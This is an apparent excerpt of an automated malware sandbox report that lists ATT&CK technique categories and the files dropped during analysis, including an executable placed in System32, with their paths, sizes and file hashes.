1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 827fb68030a5637932dc830b05c73049f46d6538532bb36a658736a302028372
- MD5 23301c8ac2ebdd1ea31505eed55eb4d8
- SHA1 503d43b6aed726bf62398d4979a226ea12835e96
- SHA512 7171b97bdce78f4683c547e401de8fb4bac36053b63ed0ef4a228c9b6379e3e66bb875c96ceb8724978f90035ef7e5960c534bb75d457c53b537d25c2bd20682
- TLSH T1E1C08C2C1AA20A07F2A8437C02C239039B208101F6418F062AF12A08C99BB1A2938C2A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
- Size 192B
- SHA256 d7981425e460c157203e683c48fcff0d56b39d1aa1d4d8ed90c575274f4b3172
- MD5 b80d370e969551134ed79945b4ed0bd6
- SHA1 0dc41a71cd5a401414cf7faf8c26fcd93d7c8591
- SHA512 207fc636e57c1c0870ca3b04a670b39423aaf86bc84200b8b6d2d4c0ac5a5fa9e4cd98dac310e759fc14bbfc9ae59ab74a348fc5ac32c7c08aafc83f297d95bc
- TLSH T1BBC08C1C4A620717F2E443BE06C12D139B20C420F2458F0526B12A48CC12F602C34C28
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 192B
- SHA256 222d1924f052bcb6749ee47201ec8617b7f57927f8872298370ceb25b2f947ad
- MD5 4a477b3464204cf825f5e279b5e47d08
- SHA1 8bba848201b721f891ada37f49a32d7adb26eaa3
- SHA512 228ca2b4b1874c2e880a2b7052b0c7febc4e4b00bb17bcf4e4fad7c34309220302d92176561d6bdca356845d2369f9cb663e0a7a8a593d4247c57805fb0d6f73
- TLSH T1F8C08C181BA20606E2E80BBE22D02A839B18D502F2818F0A163E2A488C11B241C30C2C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E48F949A9CBDAF12D6DECC55DAA1BF6
- Size 246B
- SHA256 1fc70664d3bab3a916ef803161e4c24d6834aeb8910df736f0304bf8088c64ba
- MD5 00a419b75d8d2badac1f5b69814e06a7
- SHA1 0f2496beb00edf5fd1920f41545c4628d6cb00ae
- SHA512 3aaa3505d7a4082437d1b2038cfc05f78e4183bfea9f65f79b4f3e6d73f3f201680fc05166a0311b15b5cae03749015aa0ac7339cfea86cab48e112a79a19f0d
- TLSH T156D0123C2A510137F2A0C73569214694AE657956F1618F6D4BF7081E9C69F426E91C0E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
- MD5 81b56f1dad28119d54bf23c83fc570b9
- SHA1 cb9a89a716465611149ce3c700bd60681d434faf
- SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
- TLSH T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9928badc830b732c31d40a44b18bb5faf032656d725af322b1830dac0e286800
- MD5 93b379c84742e9dd8be0833abe710366
- SHA1 6ff6b4710f20d824b447b23b069e2f3804a05ca7
- SHA512 108a0da025605ebac56244923de4825e3b49eb47a8963e62df875d2604abbbb9c2eff364cd10d532931a5caa435e0607325e1a6356e158dd95977fea1762c23e
- TLSH T1FA219833B3CC8624CC9A013A10CDAC1036B6C7CB40DECFAB7B80E655A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0yiyzc54.gog.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Win-v42.exe
- Size 401KB
- SHA256 7e63ab8cf8e7168122b1839f8d82c09228687893e7165311ec85a341afa99e18
- MD5 e0dbc01378af716da9e86162be852a44
- SHA1 904e3564aea8027e44d1214f2cfff450f14e0e71
- SHA512 f17e8c32e7a0df7e4332521330b05c346f8d5c764fca6d4a755f1f4c52d90d2842ee5d2bd78dc484c741ce7ecadd490717b349780cced645af8f157ff65b537a
- SSDEEP 6144:zsO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GRPZtyzS:jH7F6cf6T7Ow5JR
- TLSH T13B947D16EA640879F1A7D178CC97490AE6B5784E0BA19ACF03D0C9AE2F376D09F3D711
- MD5 SHA1 SHA512 SSDEEP TLSH